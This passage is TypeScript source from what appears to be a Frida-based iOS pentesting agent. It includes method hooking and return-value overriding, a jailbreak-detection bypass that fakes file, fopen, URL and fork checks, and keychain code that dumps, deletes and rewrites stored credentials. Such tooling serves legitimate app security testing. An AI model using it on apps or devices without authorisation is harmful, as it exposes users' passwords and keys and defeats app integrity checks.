jobs.add(job);\n\n  const isPattern = patternOrClass.includes('[');\n\n  // if we have a patterm we'll loop the methods, hook and push a listener to the job\n  if (isPattern === true) {\n    const matches = objcEnumerate(patternOrClass);\n    matches.forEach((match: ApiResolverMatch) => {\n      watchMethod(match.name, job, dargs, dbt, dret);\n    });\n\n    return;\n  }\n\n  watchClass(patternOrClass, job, dargs, dbt, dret, watchParents);\n};\n\nconst watchClass = (clazz: string, job: jobs.Job, dargs: boolean = false, dbt: boolean = false,\n  dret: boolean = false, parents: boolean = false): void => {\n\n  const target = ObjC.classes[clazz];\n\n  if (!target) {\n    send(`${c.red(`Error!`)} Unable to find class ${c.redBright(clazz)}!`);\n    return;\n  }\n\n  // with parents as true, include methods from a parent class,\n  // otherwise simply hook the target class' own  methods\n  (parents ? target.$methods : target.$ownMethods).forEach((method) => {\n    // filter and make sure we have a type and name. Looks like some methods can\n    // have '' as name... am expecting something like \"- isJailBroken\"\n    const fullMethodName = `${method[0]}[${clazz} ${method.substring(2)}]`;\n    watchMethod(fullMethodName, job, dargs, dbt, dret);\n  });\n\n};\n\nconst watchMethod = (selector: string, job: jobs.Job, dargs: boolean, dbt: boolean,\n  dret: boolean): void => {\n\n  const resolver = new ApiResolver(\"objc\");\n  let matchedMethod: ApiResolverMatch = {\n    address: NULL,\n    name: '',\n  };\n\n  // handle the resolvers error it may throw if the selector format is off.\n  try {\n    // select the first match\n    const resolved = resolver.enumerateMatches(selector);\n    if (resolved.length <= 0) {\n      send(`${c.red(`Error:`)} No matches for selector ${c.redBright(`${selector}`)}. ` +\n        `Double check the name, or try \"ios hooking list class_methods\" first.`);\n      return;\n    }\n\n    // not sure if this will ever be the case... but lets log it\n    // anyways\n    if (resolved.length > 1) {\n      send(`${c.yellow(`Warning:`)} More than one result for selector ${c.redBright(`${selector}`)}!`);\n    }\n\n    matchedMethod = resolved[0];\n  } catch (error) {\n    send(\n      `${c.red(`Error:`)} Unable to find address for selector ${c.redBright(`${selector}`)}! ` +\n      `The error was:\\n` + c.red((error as Error).message),\n    );\n    return;\n  }\n\n  // Attach to the discovered match\n  // TODO: loop correctly when globbing\n  send(`Found selector at ${c.green(matchedMethod.address.toString())} as ${c.green(matchedMethod.name)}`);\n\n  const watchInvocation: InvocationListener = Interceptor.attach(matchedMethod.address, {\n    // tslint:disable-next-line:object-literal-shorthand\n    onEnter: function (args) {\n      // how many arguments do we have in this selector?\n      const argumentCount: number = (selector.match(/:/g) || []).length;\n      const receiver = new ObjC.Object(args[0]);\n      send(\n        c.blackBright(`[${job.identifier}] `) +\n        `Called: ${c.green(`${selector}`)} ${c.blue(`${argumentCount}`)} arguments` +\n        `(Kind: ${c.cyan(receiver.$kind)}) (Super: ${c.cyan(receiver.$superClass.$className)})`,\n      );\n\n      // if we should include a backtrace to here, do that.\n      if (dbt) {\n        send(\n          c.blackBright(`[${job.identifier}] `) +\n          `${c.green(`${selector}`)} Backtrace:\\n\\t` +\n          Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join(\"\\n\\t\"),\n        );\n      }\n\n      if (dargs && argumentCount > 0) {\n        const methodSplit = ObjC.selectorAsString(args[1]).split(\":\").filter((val) => val);\n        const r = methodSplit.map((argName, position) => {\n          // As this is an ObjectiveC method, the arguments are as follows:\n          // 0. 'self'\n          // 1. The selector (object.name:)\n          // 2. The first arg\n          //\n          // For this reason do we shift it by 2 positions to get an 'instance' for\n          // the argument value.\n          const t = new ObjC.Object(args[position + 2]);\n          return `${argName}: ${c.greenBright(`${t}`)}`;\n        });\n\n        send(c.blackBright(`[${job.identifier}] `) +\n          `Argument dump: [${c.green(receiver.$className)} ${r.join(\" \")}]`);\n      }\n    },\n    onLeave: (retval) => {\n      // do nothing if we are not expected to dump return values\n      if (!dret) { return; }\n      send(c.blackBright(`[${job.identifier}] `) + `Return Value: ${c.red(retval.toString())}`);\n    },\n  });\n  \n  job.addInvocation(watchInvocation);\n};\n\nexport const setMethodReturn = (selector: string, returnValue: boolean): void => {\n  const TRUE = new NativePointer(0x1);\n  const FALSE = new NativePointer(0x0);\n\n  const resolver = new ApiResolver(\"objc\");\n  let matchedMethod: ApiResolverMatch = {\n    address: NULL,\n    name: '',\n  };\n\n  // handle the resolvers error it may throw if the selector format\n  // is off.\n  try {\n    // select the first match\n    matchedMethod = resolver.enumerateMatches(selector)[0];\n  } catch (error) {\n    send(\n      `${c.red(`Error!`)} Unable to find address for selector ${c.redBright(`${selector}`)}! ` +\n      `The error was:\\n` + c.red((error as Error).message),\n    );\n    return;\n  }\n\n  // no match? then just leave.\n  if (!matchedMethod.address) {\n    send(`${c.red(`Error!`)} Unable to find address for selector ${c.redBright(`${selector}`)}!`);\n    return;\n  }\n\n  // Start a new Job\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), `set-method-return for: ${selector}`);\n\n  // Attach to the discovered match\n  // TODO: loop correctly when globbing\n  send(`Found selector at ${c.green(matchedMethod.address.toString())} as ${c.green(matchedMethod.name)}`);\n  const watchInvocation: InvocationListener = Interceptor.attach(matchedMethod.address, {\n    onLeave: (retval) => {\n\n      switch (returnValue) {\n        case true:\n          if (retval.equals(TRUE)) {\n            return;\n          }\n          send(\n            c.blackBright(`[${job.identifier}] `) +\n            `${c.green(selector)} ` +\n            `Return value was: ${c.red(retval.toString())}, overriding to ${c.green(TRUE.toString())}`,\n          );\n          retval.replace(TRUE);\n          break;\n\n        case false:\n          if (retval.equals(FALSE)) {\n            return;\n          }\n          send(\n            c.blackBright(`[${job.identifier}] `) +\n            `${c.green(selector)} ` +\n            `Return value was: ${c.red(retval.toString())}, overriding to ${c.green(FALSE.toString())}`,\n          );\n          retval.replace(FALSE);\n          break;\n      }\n    },\n  });\n\n  // register the job\n  job.addInvocation(watchInvocation);\n  jobs.add(job);\n};\n"
  },
  {
    "path": "agent/src/ios/jailbreak.ts",
    "content": "import { ObjC } from \"../ios/lib/libobjc.js\";\nimport { colors as c } from \"../lib/color.js\";\nimport * as jobs from \"../lib/jobs.js\";\n\n// Attempts to disable Jailbreak detection.\n// This seems like an odd thing to do on a device that is probably not\n// jailbroken. However, in the case of a device losing a jailbreak due to\n// an OS upgrade, some filesystem artifacts may still exist, causing some\n// of the typical checks to incorrectly detect the jailbreak status!\n\n// Hook NSFileManager and fopen calls and check if it is to a common path.\n// Hook canOpenURL for Cydia deep link.\n\nconst jailbreakPaths = [\n  \"/Applications/Cydia.app\",\n  \"/Applications/FakeCarrier.app\",\n  \"/Applications/Icy.app\",\n  \"/Applications/IntelliScreen.app\",\n  \"/Applications/MxTube.app\",\n  \"/Applications/RockApp.app\",\n  \"/Applications/SBSetttings.app\",\n  \"/Applications/WinterBoard.app\",\n  \"/Applications/blackra1n.app\",\n  \"/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist\",\n  \"/Library/MobileSubstrate/DynamicLibraries/Veency.plist\",\n  \"/Library/MobileSubstrate/MobileSubstrate.dylib\",\n  \"/System/Library/LaunchDaemons/com.ikey.bbot.plist\",\n  \"/System/Library/LaunchDaemons/com.saurik.Cy@dia.Startup.plist\",\n  \"/System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist\",\n  \"/bin/bash\",\n  \"/bin/sh\",\n  \"/etc/apt\",\n  \"/etc/ssh/sshd_config\",\n  \"/private/var/stash\",\n  \"/private/var/tmp/cydia.log\",\n  \"/private/var/lib/apt\",\n  \"/usr/bin/cycript\",\n  \"/usr/bin/ssh\",\n  \"/usr/bin/sshd\",\n  \"/usr/libexec/sftp-server\",\n  \"/usr/libexec/sftp-server\",\n  \"/usr/libexec/ssh-keysign\",\n  \"/usr/sbin/sshd\",\n  \"/var/cache/apt\",\n  \"/var/lib/cydia\",\n  \"/var/log/syslog\",\n  \"/var/tmp/cydia.log\",\n];\n\n\n// toggles replies to fileExistsAtPath: for the paths in jailbreakPaths\nconst fileExistsAtPath = (success: boolean, ident: number): InvocationListener => {\n\n  return Interceptor.attach(\n    ObjC.classes.NSFileManager[\"- fileExistsAtPath:\"].implementation, {\n    onEnter(args) {\n\n      // Use a marker to check onExit if we need to manipulate\n      // the response.\n      this.is_common_path = false;\n\n      // Extract the path\n      this.path = new ObjC.Object(args[2]).toString();\n\n      // check if the looked up path is in the list of common_paths\n      if (jailbreakPaths.indexOf(this.path) >= 0) {\n\n        // Mark this path as one that should have its response\n        // modified if needed.\n        this.is_common_path = true;\n      }\n    },\n    onLeave(retval) {\n\n      // stop if we dont care about the path\n      if (!this.is_common_path) {\n        return;\n      }\n\n      // depending on the desired state, we flip retval\n      switch (success) {\n        case (true):\n          // ignore successful lookups\n          if (!retval.isNull()) {\n            return;\n          }\n          send(\n            c.blackBright(`[${ident}] `) + `fileExistsAtPath: check for ` +\n            c.green(this.path) + ` failed with: ` +\n            c.red(retval.toString()) + `, marking it as successful.`,\n          );\n\n          retval.replace(new NativePointer(0x01));\n          break;\n\n        case (false):\n          // ignore failed lookups\n          if (retval.isNull()) {\n            return;\n          }\n          send(\n            c.blackBright(`[${ident}] `) + `fileExistsAtPath: check for ` +\n            c.green(this.path) + ` was successful with: ` +\n            c.red(retval.toString()) + `, marking it as failed.`,\n          );\n\n          retval.replace(new NativePointer(0x00));\n          break;\n      }\n    },\n  },\n  );\n};\n\n\n// toggles replies to fopen: for the paths in jailbreakPaths\nconst fopen = (success: boolean, ident: number): InvocationListener | null => {\n\n  // Compatibility with frida < 16.7\n  if (!Module.findGlobalExportByName) {\n    Module.findGlobalExportByName = function(name) {\n      return Module['findExportByName'](null, name);\n    }\n  }\n\n  const fopen_addr = Module.findGlobalExportByName(\"fopen\");\n  if (!fopen_addr) {\n    send(c.red(`fopen function not found!`));\n    return null; \n  }\n\n  return Interceptor.attach(fopen_addr, {\n    onEnter(args) {\n\n      this.is_common_path = false;\n\n      // Extract the path\n      this.path = args[0].readCString();\n\n      // check if the looked up path is in the list of common_paths\n      if (jailbreakPaths.indexOf(this.path) >= 0) {\n\n        // Mark this path as one that should have its response\n        // modified if needed.\n        this.is_common_path = true;\n      }\n    },\n    onLeave(retval) {\n\n      // stop if we dont care about the path\n      if (!this.is_common_path) {\n        return;\n      }\n\n      // depending on the desired state, we flip retval\n      switch (success) {\n        case (true):\n          // ignore successful lookups\n          if (!retval.isNull()) {\n            return;\n          }\n          send(\n            c.blackBright(`[${ident}] `) + `fopen: check for ` +\n            c.green(this.path) + ` failed with: ` +\n            c.red(retval.toString()) + `, marking it as successful.`,\n          );\n\n          retval.replace(new NativePointer(0x01));\n          break;\n\n        case (false):\n          // ignore failed lookups\n          if (retval.isNull()) {\n            return;\n          }\n          send(\n            c.blackBright(`[${ident}] `) + `fopen: check for ` +\n            c.green(this.path) + ` was successful with: ` +\n            c.red(retval.toString()) + `, marking it as failed.`,\n          );\n\n          retval.replace(new NativePointer(0x00));\n          break;\n      }\n    },\n  },\n  );\n};\n\n// toggles replies to canOpenURL for Cydia\nconst canOpenURL = (success: boolean, ident: number): InvocationListener => {\n\n  return Interceptor.attach(\n    ObjC.classes.UIApplication[\"- canOpenURL:\"].implementation, {\n    onEnter(args) {\n\n      this.is_flagged = false;\n\n      // Extract the path\n      this.path = new ObjC.Object(args[2]).toString();\n\n      if (this.path.startsWith('cydia') || this.path.startsWith('Cydia')) {\n        this.is_flagged = true;\n      }\n    },\n    onLeave(retval) {\n\n      if (!this.is_flagged) {\n        return;\n      }\n\n      // depending on the desired state, we flip retval\n      switch (success) {\n        case (true):\n          // ignore successful lookups\n          if (!retval.isNull()) {\n            return;\n          }\n          send(\n            c.blackBright(`[${ident}] `) + `canOpenURL: check for ` +\n            c.green(this.path) + ` failed with: ` +\n            c.red(retval.toString()) + `, marking it as successful.`,\n          );\n\n          retval.replace(new NativePointer(0x01));\n          break;\n\n        case (false):\n          // ignore failed\n          if (retval.isNull()) {\n            return;\n          }\n          send(\n            c.blackBright(`[${ident}] `) + `canOpenURL: check for ` +\n            c.green(this.path) + ` was successful with: ` +\n            c.red(retval.toString()) + `, marking it as failed.`,\n          );\n\n          retval.replace(new NativePointer(0x00));\n          break;\n      }\n    },\n  },\n  );\n};\n\n\nconst libSystemBFork = (success: boolean, ident: number): InvocationListener | null => {\n  // Hook fork() in libSystem.B.dylib and return 0\n  // TODO: Hook vfork\n  const libSystemBdylib = Process.findModuleByName(\"libSystem.B.dylib\");\n\n  if (!libSystemBdylib) return null;\n  const libSystemBdylibFork = libSystemBdylib.findExportByName(\"fork\");\n  if (!libSystemBdylibFork) return null;\n\n  return Interceptor.attach(libSystemBdylibFork, {\n    onLeave(retval) {\n\n      switch (success) {\n        case (true):\n          // already successful forks are ok\n          if (!retval.isNull()) {\n            return;\n          }\n          send(\n            c.blackBright(`[${ident}] `) + `Call to ` +\n            c.green(`libSystem.B.dylib::fork()`) + ` failed with ` +\n            c.red(retval.toString()) + ` marking it as successful.`,\n          );\n\n          retval.replace(new NativePointer(0x1));\n          break;\n\n        case (false):\n          // already failed forks are ok\n          if (retval.isNull()) {\n            return;\n          }\n          send(\n            c.blackBright(`[${ident}] `) + `Call to ` +\n            c.green(`libSystem.B.dylib::fork()`) + ` was successful with ` +\n            c.red(retval.toString()) + ` marking it as failed.`,\n          );\n\n          retval.replace(new NativePointer(0x0));\n          break;\n      }\n    },\n  });\n};\n\n// ref: https://www.ayrx.me/gantix-jailmonkey-root-detection-bypass/\nconst jailMonkeyBypass = (success: boolean, ident: number): InvocationListener | null => {\n  const JailMonkeyClass = ObjC.classes.JailMonkey;\n  if (JailMonkeyClass === undefined) return null;\n\n  return Interceptor.attach(JailMonkeyClass[\"- isJailBroken\"].implementation, {\n    onLeave(retval) {\n      send(\n        c.blackBright(`[${ident}] `) + `JailMonkey.isJailBroken called, returning false.`\n      );\n      retval.replace(new NativePointer(0x00));\n    }\n  });\n};\n\nexport const disable = (): void => {\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), \"ios-jailbreak-disable\");\n\n  job.addInvocation(fileExistsAtPath(false, job.identifier));\n  job.addInvocation(libSystemBFork(false, job.identifier));\n  job.addInvocation(fopen(false, job.identifier));\n  job.addInvocation(canOpenURL(false, job.identifier));\n  job.addInvocation(jailMonkeyBypass(false, job.identifier));\n\n  jobs.add(job);\n};\n\nexport const enable = (): void => {\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), \"ios-jailbreak-enable\");\n\n  job.addInvocation(fileExistsAtPath(true, job.identifier));\n  job.addInvocation(libSystemBFork(true, job.identifier));\n  job.addInvocation(fopen(true, job.identifier));\n  job.addInvocation(canOpenURL(true, job.identifier));\n  job.addInvocation(jailMonkeyBypass(true, job.identifier));\n\n  jobs.add(job);\n};\n"
  },
  {
    "path": "agent/src/ios/keychain.ts",
    "content": "// dumps all of the keychain items available to the current\n// application.\nimport { colors as c } from \"../lib/color.js\";\nimport { reverseEnumLookup } from \"../lib/helpers.js\";\nimport {\n  kSec,\n  NSUTF8StringEncoding\n} from \"./lib/constants.js\";\nimport {\n  bytesToHexString,\n  bytesToUTF8,\n  smartDataToString\n} from \"./lib/helpers.js\";\nimport {\n  IKeychainData,\n  IKeychainItem\n} from \"./lib/interfaces.js\";\nimport { \n  libObjc, \n  ObjC \n} from \"./lib/libobjc.js\";\nimport {\n  NSDictionary,\n  NSMutableDictionary as NSMutableDictionaryType,\n  NSString as NSStringType,\n} from \"./lib/types.js\";\n\n// keychain item times to query for\nconst itemClasses = [\n  kSec.kSecClassKey,\n  kSec.kSecClassIdentity,\n  kSec.kSecClassCertificate,\n  kSec.kSecClassGenericPassword,\n  kSec.kSecClassInternetPassword,\n];\n\n\n// The parent method that enumerates the iOS keychain\nconst enumerateKeychain = (): IKeychainData[] => {\n  // -- Sample Objective-C\n  //\n  // NSMutableDictionary *query = [[NSMutableDictionary alloc] init];\n  // [query setObject:(__bridge id)kCFBooleanTrue forKey:(__bridge id)kSecReturnAttributes];\n  // [query setObject:(__bridge id)kCFBooleanTrue forKey:(__bridge id)kSecReturnData];\n  // [query setObject:(__bridge id)kCFBooleanTrue forKey:(__bridge id)kSecReturnRef];\n  // [query setObject:(__bridge id)kSecMatchLimitAll forKey:(__bridge id)kSecMatchLimit];\n  // NSArray *itemClasses = [NSArray arrayWithObjects:\n  //                         (__bridge id)kSecClassKey,\n  //                         (__bridge id)kSecClassIdentity,\n  //                         (__bridge id)kSecClassCertificate,\n  //                         (__bridge id)kSecClassGenericPassword,\n  //                         (__bridge id)kSecClassInternetPassword,\n  //                         nil];\n  // for (id itemClass in itemClasses) {\n  //     NSLog(@\"Querying: %@\", itemClass);\n  //     [query setObject:itemClass forKey:(__bridge id)kSecClass];\n  //     CFTypeRef result = NULL;\n  //     OSStatus findStatus = SecItemCopyMatching((__bridge CFDictionaryRef)query, &result);\n  //     if(findStatus != errSecSuccess) {\n  //         NSLog(@\"Failed to query keychain for types %@\", itemClass);\n  //         continue;\n  //     }\n  //     // loopy-loop the results\n  //     for (NSDictionary *entry in (__bridge NSDictionary *)result) {\n  //         NSString *stringRes = [[NSString alloc] initWithData:[entry objectForKey:@\"v_Data\"]\n  //                                                     encoding:NSUTF8StringEncoding];\n  //         NSLog(@\"%@\", stringRes);\n  //     }\n  //     if (result != NULL) {\n  //         CFRelease(result);\n  //     }\n  // }\n\n  // http://nshipster.com/bool/\n  const kCFBooleanTrue = ObjC.classes.__NSCFBoolean.numberWithBool_(true);\n\n  // the base query dictionary to use for the keychain lookups\n  const searchDictionary: NSMutableDictionaryType = ObjC.classes.NSMutableDictionary.alloc().init();\n  searchDictionary.setObject_forKey_(kCFBooleanTrue, kSec.kSecReturnAttributes);\n  searchDictionary.setObject_forKey_(kCFBooleanTrue, kSec.kSecReturnData);\n  searchDictionary.setObject_forKey_(kCFBooleanTrue, kSec.kSecReturnRef);\n  searchDictionary.setObject_forKey_(kSec.kSecMatchLimitAll, kSec.kSecMatchLimit);\n  searchDictionary.setObject_forKey_(kSec.kSecAttrSynchronizableAny, kSec.kSecAttrSynchronizable);\n\n  // loop each of the keychain class types and extract data\n  const itemClassResults: IKeychainData[][] = itemClasses.map((clazz) => {\n    const data: IKeychainData[] = [];  // start empty.\n    searchDictionary.setObject_forKey_(clazz, kSec.kSecClass);\n\n    // prepare a pointer for the results and call SecItemCopyMatching to get them\n    const resultsPointer: NativePointer = Memory.alloc(Process.pointerSize);\n    const copyResult: NativePointer = libObjc.SecItemCopyMatching(searchDictionary, resultsPointer);\n\n    // without results (aka non-zero OSStatus) we just move along.\n    if (!copyResult.isNull()) { return data; }\n\n    // read the resultant dict of the lookup from memory\n    const searchResults: NSDictionary = new ObjC.Object(resultsPointer.readPointer());\n\n    // if the results in the dict is empty (which is not something I expect),\n    // fail fast too.\n    if (searchResults.length <= 0) { return data; }\n\n    // read each key chain entry for the current item_class and populate\n    // the item_class items we will return\n    for (let i: number = 0; i < searchResults.count(); i++) {\n      data.push({\n        clazz,\n        data: searchResults.objectAtIndex_(i),\n      });\n    }\n\n    return data;\n  });\n  \n  const keyChainData: IKeychainData[] = [];\n  return keyChainData.concat(...itemClassResults).filter((n) => n !== undefined);\n};\n\n// print raw entries using some Frida magic\n// to do the toString() repr...\nexport const listRaw = (): void => {\n  enumerateKeychain().forEach((e) => {\n    c.log(e.data);\n  });\n};\n\n// dump the contents of the iOS keychain, returning the\n// results as an array representation.\nexport const list = (smartDecode: boolean = false): IKeychainItem[] => {\n  return enumerateKeychain().map((entry) => {\n    const { data, clazz } = entry;\n    return {\n      access_control: (data.containsKey_(kSec.kSecAttrAccessControl)) ? decodeAcl(data) : \"\",\n      accessible_attribute: reverseEnumLookup(kSec,\n        bytesToUTF8(data.objectForKey_(kSec.kSecAttrAccessible))),\n      account: bytesToUTF8(data.objectForKey_(kSec.kSecAttrAccount)),\n      alias: bytesToUTF8(data.objectForKey_(kSec.kSecAttrAlias)),\n      comment: bytesToUTF8(data.objectForKey_(kSec.kSecAttrComment)),\n      create_date: bytesToUTF8(data.objectForKey_(kSec.kSecAttrCreationDate)),\n      creator: bytesToUTF8(data.objectForKey_(kSec.kSecAttrCreator)),\n      custom_icon: bytesToUTF8(data.objectForKey_(kSec.kSecAttrHasCustomIcon)),\n      data: (clazz !== \"keys\") ?\n        (smartDecode) ?\n          smartDataToString(data.objectForKey_(kSec.kSecValueData)) :\n          bytesToUTF8(data.objectForKey_(kSec.kSecValueData)) :\n        \"(Key data not displayed)\",\n      dataHex: bytesToHexString(data.objectForKey_(kSec.kSecValueData)),\n      description: bytesToUTF8(data.objectForKey_(kSec.kSecAttrDescription)),\n      entitlement_group: bytesToUTF8(data.objectForKey_(kSec.kSecAttrAccessGroup)),\n      generic: bytesToUTF8(data.objectForKey_(kSec.kSecAttrGeneric)),\n      invisible: bytesToUTF8(data.objectForKey_(kSec.kSecAttrIsInvisible)),\n      item_class: reverseEnumLookup(kSec, clazz),\n      label: bytesToUTF8(data.objectForKey_(kSec.kSecAttrLabel)),\n      modification_date: bytesToUTF8(data.objectForKey_(kSec.kSecAttrModificationDate)),\n      negative: bytesToUTF8(data.objectForKey_(kSec.kSecAttrIsNegative)),\n      protected: bytesToUTF8(data.objectForKey_(kSec.kSecProtectedDataItemAttr)),\n      script_code: bytesToUTF8(data.objectForKey_(kSec.kSecAttrScriptCode)),\n      service: bytesToUTF8(data.objectForKey_(kSec.kSecAttrService)),\n      type: bytesToUTF8(data.objectForKey_(kSec.kSecAttrType)),\n    };\n  });\n};\n\n// clean out the keychain\nexport const empty = (): void => {\n  const searchDictionary: NSMutableDictionaryType = ObjC.classes.NSMutableDictionary.alloc().init();\n  searchDictionary.setObject_forKey_(kSec.kSecAttrSynchronizableAny, kSec.kSecAttrSynchronizable);\n  itemClasses.forEach((clazz) => {\n\n    // set the class-type we are querying for now & delete\n    searchDictionary.setObject_forKey_(clazz, kSec.kSecClass);\n    libObjc.SecItemDelete(searchDictionary);\n  });\n};\n\n  // remove matching itemms from the keychain\n  export const remove = (account: string, service: string): void => {\n    const searchDictionary: NSMutableDictionaryType = ObjC.classes.NSMutableDictionary.alloc().init();\n    searchDictionary.setObject_forKey_(kSec.kSecAttrSynchronizableAny, kSec.kSecAttrSynchronizable);\n    itemClasses.forEach((clazz) => {\n      // set the class-type we are querying for now & delete\n      searchDictionary.setObject_forKey_(clazz, kSec.kSecClass);\n      searchDictionary.setObject_forKey_(account, kSec.kSecAttrAccount);\n      searchDictionary.setObject_forKey_(service, kSec.kSecAttrService);\n      libObjc.SecItemDelete(searchDictionary);\n    });\n  };\n\n  // update matching item from the keychain\n  export const update = (account: string, service: string, newData: string): void => {\n    \n    const searchDictionary: NSMutableDictionaryType = ObjC.classes.NSMutableDictionary.alloc().init();    \n    searchDictionary.setObject_forKey_(kSec.kSecAttrSynchronizableAny, kSec.kSecAttrSynchronizable);\n    \n    // set the class-type we are querying for now & update\n    searchDictionary.setObject_forKey_(kSec.kSecClassGenericPassword, kSec.kSecClass);\n    searchDictionary.setObject_forKey_(account, kSec.kSecAttrAccount);\n    searchDictionary.setObject_forKey_(service, kSec.kSecAttrService);\n\n    // set the dictionary with new value\n    const itemDict: NSMutableDictionaryType = ObjC.classes.NSMutableDictionary.alloc().init();\n    const v: NSStringType = ObjC.classes.NSString.stringWithString_(newData).dataUsingEncoding_(NSUTF8StringEncoding);\n    itemDict.setObject_forKey_(account, kSec.kSecAttrAccount);    \n    itemDict.setObject_forKey_(v, kSec.kSecValueData);    \n    libObjc.SecItemUpdate(searchDictionary, itemDict); \n    \n  };\n\n// add a string entry to the keychain\nexport const add = (account: string, service: string, data: string): boolean => {\n\n  // prepare the dictionary for SecItemAdd()\n  const itemDict: NSMutableDictionaryType = ObjC.classes.NSMutableDictionary.alloc().init();\n  itemDict.setObject_forKey_(kSec.kSecClassGenericPassword, kSec.kSecClass);\n\n  [\n    { \"type\": \"account\", \"value\": account, \"ksec\": kSec.kSecAttrAccount },\n    { \"type\": \"service\", \"value\": service, \"ksec\": kSec.kSecAttrService },\n    { \"type\": \"data\", \"value\": data, \"ksec\": kSec.kSecValueData }\n  ].forEach(e => {\n    if (e.value == null) return;\n    const v: NSStringType = ObjC.classes.NSString.stringWithString_(e.value)\n      .dataUsingEncoding_(NSUTF8StringEncoding);\n\n    itemDict.setObject_forKey_(v, e.ksec);\n  });\n\n  // Add the keychain entry\n  const result: any = libObjc.SecItemAdd(itemDict, NULL);\n  return result.isNull();\n};\n\n// decode the access control attributes on a keychain\n// entry into a human readable string. Getting an idea of what the\n// constraints actually are is done using an undocumented method,\n// SecAccessControlGetConstraints.\nconst decodeAcl = (entry: NSDictionary): string => {\n  const acl = new ObjC.Object(\n    libObjc.SecAccessControlGetConstraints(entry.objectForKey_(kSec.kSecAttrAccessControl)));\n\n  // Ensure we were able to get the SecAccessControlRef\n  if (acl.handle.isNull()) { return \"None\"; }\n\n  const flags: string[] = [];\n  const aclEnum: NSDictionary = acl.keyEnumerator();\n  let aclItemkey: any;\n\n  // tslint:disable-next-line:no-conditional-assignment\n  while ((aclItemkey = aclEnum.nextObject()) !== null) {\n    const aclItem: NSDictionary = acl.objectForKey_(aclItemkey);\n\n    switch (smartDataToString(aclItemkey)) {\n\n      // Defaults?\n      case \"dacl\":\n        break;\n\n      case \"osgn\":\n        flags.push(\"kSecAttrKeyClassPrivate\");\n        break;\n\n      case \"od\":\n        const constraints: NSDictionary = aclItem;\n        const constraintEnum = constraints.keyEnumerator();\n        let constraintItemKey;\n\n        // tslint:disable-next-line:no-conditional-assignment\n        while ((constraintItemKey = constraintEnum.nextObject()) !== null) {\n\n          switch (smartDataToString(constraintItemKey)) {\n            case \"cpo\":\n              flags.push(\"kSecAccessControlUserPresence\");\n              break;\n\n            case \"cup\":\n              flags.push(\"kSecAccessControlDevicePasscode\");\n              break;\n\n            case \"pkofn\":\n              constraints.objectForKey_(\"pkofn\") === 1 ?\n                flags.push(\"Or\") :\n                flags.push(\"And\");\n              break;\n\n            case \"cbio\":\n              constraints.objectForKey_(\"cbio\").count().valueOf() === 1 ?\n                flags.push(\"kSecAccessControlBiometryAny\") :\n                flags.push(\"kSecAccessControlBiometryCurrentSet\");\n              break;\n\n            default:\n              break;\n          }\n        }\n\n        break;\n\n      case \"prp\":\n        flags.push(\"kSecAccessControlApplicationPassword\");\n        break;\n\n      default:\n        break;\n    }\n  }\n\n  return flags.join(\" \");\n};\n"
  },
  {
    "path": "agent/src/ios/lib/constants.ts",
    "content": "// constants used for Security Attributes etc.\n// NSLog(@\"kSecAttrService: %@\", kSecAttrService);\nexport enum kSec {\n\n  // To reference some of the constants, the had to be echoed to\n  // get their values.\n\n  // NSLog(@\"Constants Dump\");\n  // NSLog(@\"kSecAttrService: %@\", kSecAttrService);\n  // NSLog(@\"End Constants Dump\");\n\n  kSecReturnAttributes = \"r_Attributes\",\n  kSecReturnData = \"r_Data\",\n  kSecReturnRef = \"r_Ref\",\n  kSecMatchLimit = \"m_Limit\",\n  kSecMatchLimitAll = \"m_LimitAll\",\n  kSecClass = \"class\",\n  kSecClassKey = \"keys\",\n  kSecClassIdentity = \"idnt\",\n  kSecClassCertificate = \"cert\",\n  kSecClassGenericPassword = \"genp\",\n  kSecClassInternetPassword = \"inet\",\n  kSecAttrService = \"svce\",\n  kSecAttrAccount = \"acct\",\n  kSecAttrAccessGroup = \"agrp\",\n  kSecAttrLabel = \"labl\",\n  kSecAttrCreationDate = \"cdat\",\n  kSecAttrAccessControl = \"accc\",\n  kSecAttrGeneric = \"gena\",\n  kSecAttrSynchronizable = \"sync\",\n  kSecAttrSynchronizableAny = \"syna\",\n  kSecAttrModificationDate = \"mdat\",\n  kSecAttrServer = \"srvr\",\n  kSecAttrDescription = \"desc\",\n  kSecAttrComment = \"icmt\",\n  kSecAttrCreator = \"crtr\",\n  kSecAttrType = \"type\",\n  kSecAttrScriptCode = \"scrp\",\n  kSecAttrAlias = \"alis\",\n  kSecAttrIsInvisible = \"invi\",\n  kSecAttrIsNegative = \"nega\",\n  kSecAttrHasCustomIcon = \"cusi\",\n  kSecProtectedDataItemAttr = \"prot\",\n  kSecAttrAccessible = \"pdmn\",\n  kSecAttrAccessibleWhenUnlocked = \"ak\",\n  kSecAttrAccessibleAfterFirstUnlock = \"ck\",\n  kSecAttrAccessibleAlways = \"dk\",\n  kSecAttrAccessibleWhenUnlockedThisDeviceOnly = \"aku\",\n  kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly = \"akpu\",\n  kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly = \"cku\",\n  kSecAttrAccessibleAlwaysThisDeviceOnly = \"dku\",\n  kSecValueData = \"v_Data\",\n}\n\n// typedef NS_ENUM(NSUInteger, NSSearchPathDirectory) {\n//     NSApplicationDirectory = 1,             // supported applications (Applications)\n//     NSDemoApplicationDirectory,             // unsupported applications, demonstration versions (Demos)\n// tslint:disable-next-line:max-line-length\n//     NSDeveloperApplicationDirectory,        // developer applications (Developer/Applications). DEPRECATED - there is no one single Developer directory.\n//     NSAdminApplicationDirectory,            // system and network administration applications (Administration)\n// tslint:disable-next-line:max-line-length\n//     NSLibraryDirectory,                     // various documentation, support, and configuration files, resources (Library)\n// tslint:disable-next-line:max-line-length\n//     NSDeveloperDirectory,                   // developer resources (Developer) DEPRECATED - there is no one single Developer directory.\n//     NSUserDirectory,                        // user home directories (Users)\n//     NSDocumentationDirectory,               // documentation (Documentation)\n//     NSDocumentDirectory,                    // documents (Documents)\n//     NSCoreServiceDirectory,                 // location of CoreServices directory (System/Library/CoreServices)\n// tslint:disable-next-line:max-line-length\n//     NSAutosavedInformationDirectory NS_ENUM_AVAILABLE(10_6, 4_0) = 11,   // location of autosaved documents (Documents/Autosaved)\n//     NSDesktopDirectory = 12,                // location of user's desktop\n//     NSCachesDirectory = 13,                 // location of discardable cache files (Library/Caches)\n// 